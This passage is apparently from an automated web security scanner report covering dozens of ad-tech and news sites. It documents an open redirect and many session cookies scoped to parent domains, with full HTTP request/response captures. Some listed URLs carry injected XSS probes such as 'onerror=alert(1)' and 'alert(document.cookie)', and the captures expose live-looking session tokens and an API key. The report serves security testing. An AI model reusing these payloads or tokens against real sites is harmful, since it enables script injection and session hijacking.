Set-Cookie: bkst=KJh5Ae2gPWWDhSz/HBh5/NQsxG3Dsjid5IjYi30qBuGr0f3S1FJZ1+1Lq/gkfxrt0uz/4QVqRWQEi/DGi7XfspIei/NQRK+2n6l/P/5p485p8ibyBpzjFDzlFQTVteFuib0zE3qfNUupIAMVKfnVVJHJSiWENTU1l1EYz4HmX9ySQLNuJ/OKylIT8cPuaApipG49EDbVO0sORygJJ0X1YclXX8ETfNzMf5JqLFbx5R5oJyOxSKmL+B3Y+gMq4AlMo5SPMRNZR2O3BGhWgyyGoTyaJhUTpVjXNv3dKcF2WIAUoazjMARcXz7xkF4PQXn57jM82kiBWzGXlJbB+lgdPLbJ4D7L1r+NIIwIRszAIZUNrwdxpzo7WngpVq0lwtAv55oNKot3wxiJuMkwnSxddFtvhiL5h+3Ls3jx5jIqodm5K4pfC4y47q3J9feOsirAGM1vWEOcYEbRQeaeh1XUjXEIb+HUnS/+zFn/26nulOu/cY1/qMsqc9pSswYyITlTANFUqFx4lraX59==; expires=Sun, 06-Nov-2011 13:45:39 GMT; path=/; domain=.bluekai.com
Set-Cookie: bkdc=res; expires=Wed, 11-May-2011 13:45:39 GMT; path=/; domain=.bluekai.com
BK-Server: c45a
Content-Length: 0
Content-Type: text/html
Connection: keep-alive

11.13. http://xcdn.xgraph.net/17572/ae/xg.gif [n parameter] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://xcdn.xgraph.net
Path:	/17572/ae/xg.gif

Issue detail

The value of the n request parameter is used to perform an HTTP redirect. The payload http%3a//a2b2986b21f45ead3/a%3fhttp%3a//data.cmcore.com/imp%3ftid%3d17%26ci%3d90074784%26vn1%3d4.1.1%26vn2%3de4.0%26ec%3dUTF-8%26cm_mmc%3dIM_Display-_-x-_-x15off-_-postvday%26cm_mmca1%3d728x90%26cm_mmca2%3d728x90_8F_Interim_finalgif%26cm_mmca3%3dpostvday%26cm_mmca4%3d22K was submitted in the n parameter. This caused a redirection to the following URL:

http://a2b2986b21f45ead3/a?http://data.cmcore.com/imp?tid=17&ci=90074784&vn1=4.1.1&vn2=e4.0&ec=UTF-8&cm_mmc=IM_Display-_-x-_-x15off-_-postvday&cm_mmca1=728x90&cm_mmca2=728x90_8F_Interim_finalgif&cm_mmca3=postvday&cm_mmca4=22K

Request

GET /17572/ae/xg.gif?type=ae&ais=ApN&pid=17572&cid=H26G&n_cid=47078&crid=728x90_8F_Interim_finalgif&n_crid=327252&mpm=CPM&n_g=u&n_a=0&aids=H26G-8&n_price=0.685393&n_bust=1305033396&n=http%3a//a2b2986b21f45ead3/a%3fhttp%3a//data.cmcore.com/imp%3ftid%3d17%26ci%3d90074784%26vn1%3d4.1.1%26vn2%3de4.0%26ec%3dUTF-8%26cm_mmc%3dIM_Display-_-x-_-x15off-_-postvday%26cm_mmca1%3d728x90%26cm_mmca2%3d728x90_8F_Interim_finalgif%26cm_mmca3%3dpostvday%26cm_mmca4%3d22K HTTP/1.1
Host: xcdn.xgraph.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _xgcid=8C581B03B202A0310D45F935B233EBC0; _xguid=5AB157F7D0512CDEC732624704EA9852; _mpush=A9F8E6728D95BAA8B046FEDC4DCC8AA2; _push4xgat=1304949682444

Response

HTTP/1.1 302 Moved Temporarily
Location: http://a2b2986b21f45ead3/a?http://data.cmcore.com/imp?tid=17&ci=90074784&vn1=4.1.1&vn2=e4.0&ec=UTF-8&cm_mmc=IM_Display-_-x-_-x15off-_-postvday&cm_mmca1=728x90&cm_mmca2=728x90_8F_Interim_finalgif&cm_mmca3=postvday&cm_mmca4=22K
Server: Apache-Coyote/1.1
Content-Length: 0
Expires: Tue, 10 May 2011 13:53:38 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 10 May 2011 13:53:38 GMT
Connection: close
P3P: CP="NOI NID DSP LAW PSAa PSDa OUR BUS UNI COM NAV STA", policyref="http://xcdn.xgraph.net/w3c/p3p.xml"

12. Cookie scoped to parent domain previous next
There are 194 instances of this issue:

http://api.twitter.com/1/statuses/user_timeline.json
http://contentnext.disqus.com/thread.js
http://id.trove.com/identity/public/visitor.json
http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/
http://politics.gather.com/viewArticle.action
http://slashgeardotcom.disqus.com/thread.js
http://t.mookie1.com/t/v1/imp
http://ttwbs.channelintelligence.com/
http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce
http://www.tlsubmit.com/checkout/signup.php
http://a.tribalfusion.com/displayAd.js
http://a.tribalfusion.com/j.ad
http://action.mathtag.com/mm/rtb/COFC/1008A2/imp
http://action.mathtag.com/mm/rtb/TREE/1101A0/imp
http://ad.afy11.net/ad
http://ad.amgdgt.com/ads/
http://ad.bnmla.com/serve
http://ad.media6degrees.com/adserv/cs
http://ad.media6degrees.com/adserv/csst
http://ad.trafficmp.com/a/bpix
http://ad.trafficmp.com/a/bpix
http://ad.trafficmp.com/a/js
http://ad.turn.com/server/ads.js
http://ad.turn.com/server/pixel.htm
http://admeld.lucidmedia.com/clicksense/admeld/match
http://ads.adbrite.com/adserver/behavioral-data/8203
http://ads.adbrite.com/adserver/vdi/684339
http://ads.adbrite.com/adserver/vdi/742697
http://ads.adbrite.com/adserver/vdi/762701
http://ads.adbrite.com/adserver/vdi/762701
http://ads.pointroll.com/PortalServe/
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.revsci.net/adserver/ako
http://ads.shorttail.net/cgi-bin/ads/ad20135bg.cgi/v=2.3S/sz=1x1A/90673/NF/RETURN-CODE/JS/
http://ads.specificmedia.com/serve/v=5
http://ads2.adbrite.com/v0/ad
http://adx.adnxs.com/mapuid
http://afe.specificclick.net/
http://ak1.abmr.net/is/tag.admeld.com
http://ak1.abmr.net/is/tag.contextweb.com
http://altfarm.mediaplex.com/ad/bn/17550-128038-2754-3
http://altfarm.mediaplex.com/ad/fm/13305-124472-22136-1
http://amch.questionmarket.com/adsc/d887938/36/500004878102/adscout.php
http://api.bizographics.com/v1/profile.redirect
http://api.viglink.com/api/ping
http://ar.voicefive.com/b/wc_beacon.pli
http://ar.voicefive.com/bmx3/broker.pli
http://ar.voicefive.com/bmx3/broker.pli
http://as.casalemedia.com/j
http://as.casalemedia.com/j
http://as.casalemedia.com/s
http://b.scorecardresearch.com/b
http://b.scorecardresearch.com/p
http://b.scorecardresearch.com/r
http://b.voicefive.com/b
http://bcp.crwdcntrl.net/4/c=368|rand=317175907|genp=na
http://bcp.crwdcntrl.net/4/c=402%7Crand=271498847%7Cpv=y%7Casync=y%7Crt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=214441500|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=286689202|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=300411654|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=344848627|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=690730866|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=827443052|pv=y|async=y|rt=ifr
http://bcp.crwdcntrl.net/4/c=402|rand=908408442|pv=y|async=y|rt=ifr
http://bh.contextweb.com/bh/rtset
http://bid.openx.net/json
http://bs.serving-sys.com/BurstingPipe/adServer.bs
http://bstats.adbrite.com/adserver/behavioral-data/0
http://bstats.adbrite.com/click/bstats.gif
http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js
http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js
http://c7.zedo.com/utils/ecSet.js
http://cas.criteo.com/delivery/admeld_map
http://cas.criteo.com/delivery/ajs.php
http://cdn4.eyewonder.com/cm/js/10295-119241-10420-6
http://cms.ad.yieldmanager.net/v1/cms
http://cms.quantserve.com/dpixel
http://cw-m.d.chango.com/m/cw
http://d.audienceiq.com/r/dm/mkt/44/mpid//mpuid/3658195966029417970
http://d.audienceiq.com/r/dm/mkt/73/mpid//mpuid/2931142961646634775/mchpid/4/url/
http://d.audienceiq.com/r/dm/mkt/73/mpid//mpuid/3658195966029417970
http://d.audienceiq.com/r/dm/mkt/73/mpid//mpuid/3658195966029417970/mchpid/4/url/
http://d.mediabrandsww.com/r/dm/mkt/3/mpid//mpuid/3658195966029417970
http://d.p-td.com/r/dm/mkt/4/mpid//mpuid/3658195966029417970
http://d.turn.com/r/dd/id/L2NzaWQvMS9jaWQvMzMxMDg2My90LzI/cat/,/id/L2NzaWQvMS9jaWQvMzMxMTIxNy90LzI/cat/000
http://data.adsrvr.org/map/cookie/contextweb
http://dis.ny.us.criteo.com/dis/dis.aspx
http://forum.androidcentral.com/external.php
http://g-pixel.invitemedia.com/gmatcher
http://gather.us.intellitxt.com/intellitxt/front.asp
http://geek.us.intellitxt.com/intellitxt/front.asp
http://i.simpli.fi/dpx.js
http://i.w55c.net/ping_match.gif
http://ib.adnxs.com/ab
http://ib.adnxs.com/getuid
http://ib.adnxs.com/if
http://ib.adnxs.com/mapuid
http://ib.adnxs.com/pxj
http://ib.adnxs.com/seg
http://id.washingtonpost.com/identity/public/visitor/ip_address.json
http://idcs.interclick.com/Segment.aspx
http://idpix.media6degrees.com/orbserv/hbpix
http://image2.pubmatic.com/AdServer/Pug
http://imp.fetchback.com/serve/fb/adtag.js
http://imp.fetchback.com/serve/fb/imp
http://judo.salon.com/RealMedia/ads/adstream_mjx.ads/www.salonmagazine.com/letters/default.html/1995569501@Top,Frame2,x10,x15,x50,Right,Right1,Right2,Right3,Bottom,Bottom1,Bottom2,Position1,Position2
http://knowyourmobile.uk.intellitxt.com/al.asp
http://knowyourmobile.uk.intellitxt.com/intellitxt/front.asp
http://knowyourmobile.uk.intellitxt.com/v4/init
http://l.sharethis.com/pview
http://leadback.advertising.com/adcedge/lb
http://load.exelator.com/load/
http://loadm.exelator.com/load/
http://m.adnxs.com/msftcookiehandler
http://map.media6degrees.com/orbserv/hbjs
http://map.media6degrees.com/orbserv/hbpix
http://media.fastclick.net/w/tre
http://metrics.philly.com/b/ss/phillycom/1/H.17/s66140788192520
http://metrics.philly.com/b/ss/phillycom/1/H.17/s67586282941047
http://optimized-by.rubiconproject.com/a/8430/13646/27091-15.img
http://optimized-by.rubiconproject.com/a/8430/13646/27091-15.js
http://optimized-by.rubiconproject.com/a/8430/13646/27091-2.img
http://optimized-by.rubiconproject.com/a/8430/13646/27091-2.js
http://optimized-by.rubiconproject.com/a/dk.js
http://osmdcs.interclick.com/pixelChecked.aspx
http://p.brilig.com/contact/bct
http://pc2.yumenetworks.com/dynamic_btx/115_89795
http://ping.crowdscience.com/ping.js
http://pix04.revsci.net/J05531/b3/0/3/0902121/684510010.js
http://pix04.revsci.net/J09847/b3/0/3/0902121/181431347.js
http://pix04.revsci.net/J09847/b3/0/3/0902121/629948657.js
http://pix04.revsci.net/J09847/b3/0/3/0902121/64913653.js
http://pix04.revsci.net/J09847/b3/0/3/0902121/700534142.js
http://pix04.revsci.net/J10982/b3/0/3/noscript.gif
http://pix04.revsci.net/J10982/b3/0/3/noscript.gif
http://pix04.revsci.net/J10982/b3/0/3/noscript.gif
http://pix04.revsci.net/J10982/b3/0/3/noscript.gif
http://pix04.revsci.net/J10982/b3/0/3/noscript.gif
http://pixel.intellitxt.com/pixel.jsp
http://pixel.quantserve.com/api/segments.json
http://pixel.quantserve.com/pixel
http://pixel.quantserve.com/pixel/p-01-0VIaSjnOLg.gif
http://pixel.quantserve.com/pixel/p-61YFdB4e9hBRs.gif
http://pixel.rubiconproject.com/tap.php
http://pixel.rubiconproject.com/tap.php
http://pts.eyewonder.com/ewr
http://r.openx.net/set
http://r.turn.com/r/bd
http://r.turn.com/r/du/id/L21rdC8xL21jaHBpZC80/rnd/999
http://r.turn.com/r/du/id/L21rdC8xL21jaHBpZC85/rnd/8Ac90
http://r.turn.com/server/pixel.htm
http://r1-ads.ace.advertising.com/site=801873/size=300250/u=2/bnum=37860280/hr=9/hl=1/c=3/scres=5/swh=1920x1200/tile=2/f=0/r=1/optn=1/fv=0/aolexp=1/dref=http%253A%252F%252Fwww.philly.com%252Fs%253Faction%253Dreg%2526requested%253Dy%2526rurl%253Dhttp%25253A%25252F%25252Fwww.philly.com%25252Fphilly%25252Fnews%25252Fnation_world%25252F121548659.html%25253Fef135%252527%25253Balert%252528document.cookie%252529%25252F%25252F4b169261d24%25253D1
http://r1-ads.ace.advertising.com/site=801873/size=300250/u=2/bnum=82264378/hr=9/hl=4/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=0/aolexp=1/dref=http%253A%252F%252Fwww.philly.com%252Fphilly%252Fnews%252Fnation_world%252F121548659.html%253Fef135%252527%25253balert%2528document.cookie%2529%252F%252F4b169261d24%253D1
http://r1-ads.ace.advertising.com/site=801873/size=300250/u=2/bnum=93300171/hr=9/hl=1/c=3/scres=5/swh=1920x1200/tile=2/f=0/r=1/optn=1/fv=0/aolexp=1/dref=http%253A%252F%252Fwww.philly.com%252Fs%253Faction%253Dlogin%2526requested%253Dy%2526rurl%253Dhttp%25253A%25252F%25252Fwww.philly.com%25252Fphilly%25252Fnews%25252Fnation_world%25252F121548659.html%25253Fef135%252527%25253Balert%252528document.cookie%252529%25252F%25252F4b169261d24%25253D1
http://r1-ads.ace.advertising.com/site=801877/size=728090/u=2/bnum=1219384/hr=9/hl=1/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=0/aolexp=1/dref=http%253A%252F%252Fwww.philly.com%252Fs%253Faction%253Dreg%2526requested%253Dy%2526rurl%253Dhttp%25253A%25252F%25252Fwww.philly.com%25252Fphilly%25252Fnews%25252Fnation_world%25252F121548659.html%25253Fef135%252527%25253Balert%252528document.cookie%252529%25252F%25252F4b169261d24%25253D1
http://r1-ads.ace.advertising.com/site=801877/size=728090/u=2/bnum=18662554/hr=9/hl=1/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=0/aolexp=1/dref=http%253A%252F%252Fwww.philly.com%252Fs%253Faction%253Dlogin%2526requested%253Dy%2526rurl%253Dhttp%25253A%25252F%25252Fwww.philly.com%25252Fphilly%25252Fnews%25252Fnation_world%25252F121548659.html%25253Fef135%252527%25253Balert%252528document.cookie%252529%25252F%25252F4b169261d24%25253D1
http://segment-pixel.invitemedia.com/pixel
http://segments.adap.tv/data/
http://segs.btrll.com/v1/tpix/-/-/-/-/-/sid.6544154
http://segs.btrll.com/v1/tpix/-/-/-/-/-/sid.6544431
http://slashphone.us.intellitxt.com/intellitxt/front.asp
http://slashphone.us.intellitxt.com/v4/init
http://sync.mathtag.com/sync/img
http://syndication.mmismm.com/tntwo.php
http://t.invitemedia.com/track_imp
http://tacoda.at.atwola.com/rtx/r.js
http://tag.contextweb.com/TagPublish/getad.aspx
http://tag.contextweb.com/TagPublish/getad.aspx
http://tag.contextweb.com/TagPublish/getjs.aspx
http://tags.bluekai.com/site/2554
http://tags.bluekai.com/site/3200
http://tags.bluekai.com/site/3358
http://tags.bluekai.com/site/353
http://tags.bluekai.com/site/3561
http://tap.rubiconproject.com/partner/agent/rubicon/insight.js
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ast0k3n/iNIxevlHF5nPIMRa2RErgj_SiOwKJhEXwW6CKnglhixFGYeVivba-oTLnOWMrlgH/view.html
http://this.content.served.by.adshuffle.com/p/kl/46/799/r/12/4/8/ru/d3d3LmFtY29ubWFnLmNvbQ==/1590479807/v/576462396568677351/ac/781370/b/276176/c/474250/view.gif
http://tracking.adjug.com/AdJugTracking/Tracker.aspx
http://tracking.skyword.com/tracker.gif
http://trgc.opt.fimserve.com/fp.gif
http://trgca.opt.fimserve.com/fp.gif
http://va.px.invitemedia.com/adnxs_imp
http://va.px.invitemedia.com/goog_imp
http://www.facebook.com/brandlift.php
http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(1)%3E1b6979d15ce
http://www.knowyourmobile.com/auth/status.php
http://www.youtube.com/embed/Iev7TKsXoHo

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

12.1. http://api.twitter.com/1/statuses/user_timeline.json previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://api.twitter.com
Path:	/1/statuses/user_timeline.json

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

_twitter_sess=BAh7CDoHaWQiJTcyOTQzOWE4NDNiM2YyNWU0NmY3Y2Y1NzU3OTAxZmZlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIw%252Fwi2i8B--1e6efc2f02c0329400b98244372b26ced57c5e5b; domain=.twitter.com; path=/; HttpOnly

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /1/statuses/user_timeline.json?screen_name=androidcentral&callback=TWTR.Widget.receiveCallback_1&include_rts=true&count=5&clientsource=TWITTERINC_WIDGET&1305033301969=cachebust HTTP/1.1
Host: api.twitter.com
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: guest_id=130314166807091166; __utmz=43838368.1303561994.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); k=173.193.214.243.1304470443436909; __utma=43838368.551233229.1303561994.1304617828.1304721594.4

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:40:16 GMT
Server: hi
Status: 200 OK
X-Transaction: 1305034816-53596-46862
X-RateLimit-Limit: 150
ETag: "06a722d7d3f9d79d3670cc235ac8efdb"-gzip
Last-Modified: Tue, 10 May 2011 13:40:16 GMT
X-RateLimit-Remaining: 143
X-Runtime: 0.04034
X-Transaction-Mask: a6183ffa5f8ca943ff1b53b5644ef1149bab63f1
Content-Type: application/json; charset=utf-8
Pragma: no-cache
X-RateLimit-Class: api
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
X-MID: 195df0ff7e2add80ea9de2b61c09de48675d9c24
X-RateLimit-Reset: 1305036904
Set-Cookie: original_referer=ZLhHHTiegr8h25t2oaM%2BAuqDCAwVk%2Fm3LNKHdxT9Zg0Y2%2BN0jFHstuBRZ0gIS0DHXVzJbCQ3uYVrWjf1FHNN0g%3D%3D; path=/
Set-Cookie: _twitter_sess=BAh7CDoHaWQiJTcyOTQzOWE4NDNiM2YyNWU0NmY3Y2Y1NzU3OTAxZmZlIgpm%250AbGFzaElDOidBY3Rpb25Db250cm9sbGVyOjpGbGFzaDo6Rmxhc2hIYXNoewAG%250AOgpAdXNlZHsAOg9jcmVhdGVkX2F0bCsIw%252Fwi2i8B--1e6efc2f02c0329400b98244372b26ced57c5e5b; domain=.twitter.com; path=/; HttpOnly
Vary: Accept-Encoding
Connection: close
Content-Length: 9076

TWTR.Widget.receiveCallback_1([{"text":"It's official, folks: Microsoft's buying Skype http:\/\/bit.ly\/loXGi6 #android","id_str":"67940491005665281","in_reply_to_status_id":null,"source":"\u003Ca hre
...[SNIP]...

12.2. http://contentnext.disqus.com/thread.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://contentnext.disqus.com
Path:	/thread.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sessionid=5439c19bf65868637b6d94bd5708f992; Domain=.disqus.com; expires=Tue, 24-May-2011 13:35:03 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /thread.js?url=http%3A%2F%2Fmoconews.net%2Farticle%2F419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party%2F&title=NFC%20In%20Focus%20At%20Google%20I%2FO%20As%20Foursquare%2C%20Hashable%20Join%20Party&sort=&per_page&category_id=&developer=NaN&identifier=194661&author_s3=eyJ1c2VybmFtZSI6ICJjb250ZW50bmV4dC1mMjUxNDQ1ZGM3NmMxYzM1YmFjNWFhOTYzZDBjZTI5MiJ9%2076c765237c74b352ea63907b91025874c4d6b49d%201305033254&remote_auth_s3=e30%3D%208a1b4fb47be4a46f801ad02caed0e313b7dc4bb8%201305033254&api_key=y8GVEnPGwJ1jqFezYgvddGbTjPpwJlLBOKhmkjYuXgg4rXqKM4MtHPBmFInhesDk&1305033275239 HTTP/1.1
Host: contentnext.disqus.com
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-487374334-1303349183888; sessionid=5439c19bf65868637b6d94bd5708f992; __utmz=113869458.1304957832.11.11.utmcsr=thestreet.com|utmccn=(referral)|utmcmd=referral|utmcct=/story/11111015/1/citigroup-shares-should-be-avoided-analyst.html; __utma=113869458.1602204697.1303349184.1304954831.1304957832.11

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:35:03 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Language: en-us
Vary: Accept-Language,Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Set-Cookie: test=1; Path=/
Set-Cookie: sessionid=5439c19bf65868637b6d94bd5708f992; Domain=.disqus.com; expires=Tue, 24-May-2011 13:35:03 GMT; Max-Age=1209600; Path=/
Connection: close
Content-Type: text/javascript; charset=UTF-8
Content-Length: 8704

/*jslint evil:true */
/**
* Dynamic thread loader
*
*
*
*
*
*
*/

//
var DISQUS;
if (!DISQUS || typeof DISQUS == 'function') {
throw "DISQUS object is not initialized";
}
//

// json
...[SNIP]...

12.3. http://id.trove.com/identity/public/visitor.json previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://id.trove.com
Path:	/identity/public/visitor.json

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

wapo_sess_id=df2d6f3d-6222-4820-836f-161bc00882e0; Domain=trove.com; Expires=Tue, 10-May-2011 14:23:58 GMT; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /identity/public/visitor.json?jsonp_callback=jsonp1305033204682&lang=en-us&tags=sunset HTTP/1.1
Host: id.trove.com
Proxy-Connection: keep-alive
Referer: http://www.washingtonpost.com/blogs/right-turn/post/rick-santorum-doesnt-understand-america/2011/03/29/AFHhSbBG_blog.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8
Date: Tue, 10 May 2011 13:23:57 GMT
Server: GlassFish v3
Set-Cookie: JSESSIONID=a14100521b1350c0fd385e504ed0; Path=/identity
Set-Cookie: wapo_sess_id=df2d6f3d-6222-4820-836f-161bc00882e0; Domain=trove.com; Expires=Tue, 10-May-2011 14:23:58 GMT; Path=/
X-Powered-By: Servlet/3.0
Connection: keep-alive
Content-Length: 60

jsonp1305033204682({"visitors":{"wapoVisitor":{"id":"-1"}}})

12.4. http://letters.salon.com/politics/war_room/2011/05/09/santorum_loser/view/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://letters.salon.com
Path:	/politics/war_room/2011/05/09/santorum_loser/view/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

SALON_SESSION=ba44edffcc3755a9b149f430021000a9391b8b98372f78637c4236e2c0145ba8; expires=Wed, 11-May-2011 13:13:19 GMT; path=/; domain=.salon.com
SALON_SESSION=ba44edffcc3755a9b149f430021000a9391b8b98372f786388894d253e920cc89051ebe3e1965fa3; expires=Wed, 11-May-2011 13:13:19 GMT; path=/; domain=.salon.com
SALON_REQ=06b3186ba0cc6842fee28e9a68e440fe; expires=Tue, 10-May-2011 13:08:19 GMT; path=/; domain=.salon.com

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /politics/war_room/2011/05/09/santorum_loser/view/ HTTP/1.1
Host: letters.salon.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Set-Cookie: SALON_LETTERS=uka2gnaorcq0gdm63olm6lvab7; expires=Thu, 09 Jun 2011 13:13:19 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: SALON_SESSION=ba44edffcc3755a9b149f430021000a9391b8b98372f78637c4236e2c0145ba8; expires=Wed, 11-May-2011 13:13:19 GMT; path=/; domain=.salon.com
Set-Cookie: SALON_SESSION=ba44edffcc3755a9b149f430021000a9391b8b98372f786388894d253e920cc89051ebe3e1965fa3; expires=Wed, 11-May-2011 13:13:19 GMT; path=/; domain=.salon.com
Set-Cookie: SALON_REQ=06b3186ba0cc6842fee28e9a68e440fe; expires=Tue, 10-May-2011 13:08:19 GMT; path=/; domain=.salon.com
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 92826

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...

12.5. http://politics.gather.com/viewArticle.action previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://politics.gather.com
Path:	/viewArticle.action

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

JSESSIONID=AA1558AF37EA62E8ACB559E813B500E0; Domain=.gather.com; Path=/
vis=ikoYbOKe4gJ2VOwWyYAUeEoRm+S8xbqzIo+TESwiNafIE3koUMlca5MnNvC8gnmM+it/3B1Ri8EjP3d8GtxRwFYd+vwoMKNeLNRJwDxBdkA=; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:18 GMT; Path=/
vis=csmt6ej4/GKxEgHBMF+HFkoRm+S8xbqzJ6oEdxOs6izIE3koUMlca5MnNvC8gnmM+it/3B1Ri8EjP3d8GtxRwIW8bO+9W3HVDlGv2Bt4jLRag5p0Z9+xFnkdQwPbL6pb; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:18 GMT; Path=/
vis=c4rHfMitKmG84r0amPyCVfbQYh0gxzeBPm37aadvYxWWC3qxblM+s27k1MQFQtI+FgdSKNK8P5G3BVJx/UZgSD17oBSvO0UDVG25opdqJiRuXvl8XirA8t52je5SpVTM; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
vis=yF3xUmi32vg+uD8HfJZIuzK+z9hq1qZFc92dTrEq2UyBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjw7r7cUyO2M8SxgDMpOQK08; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
vis=s9YRp/kaJPKPlZIyzQ3RRDK+z9hq1qZFOh8M3imEsAuBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjxiFQb/nhwi3eUOAPnJtfxA; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
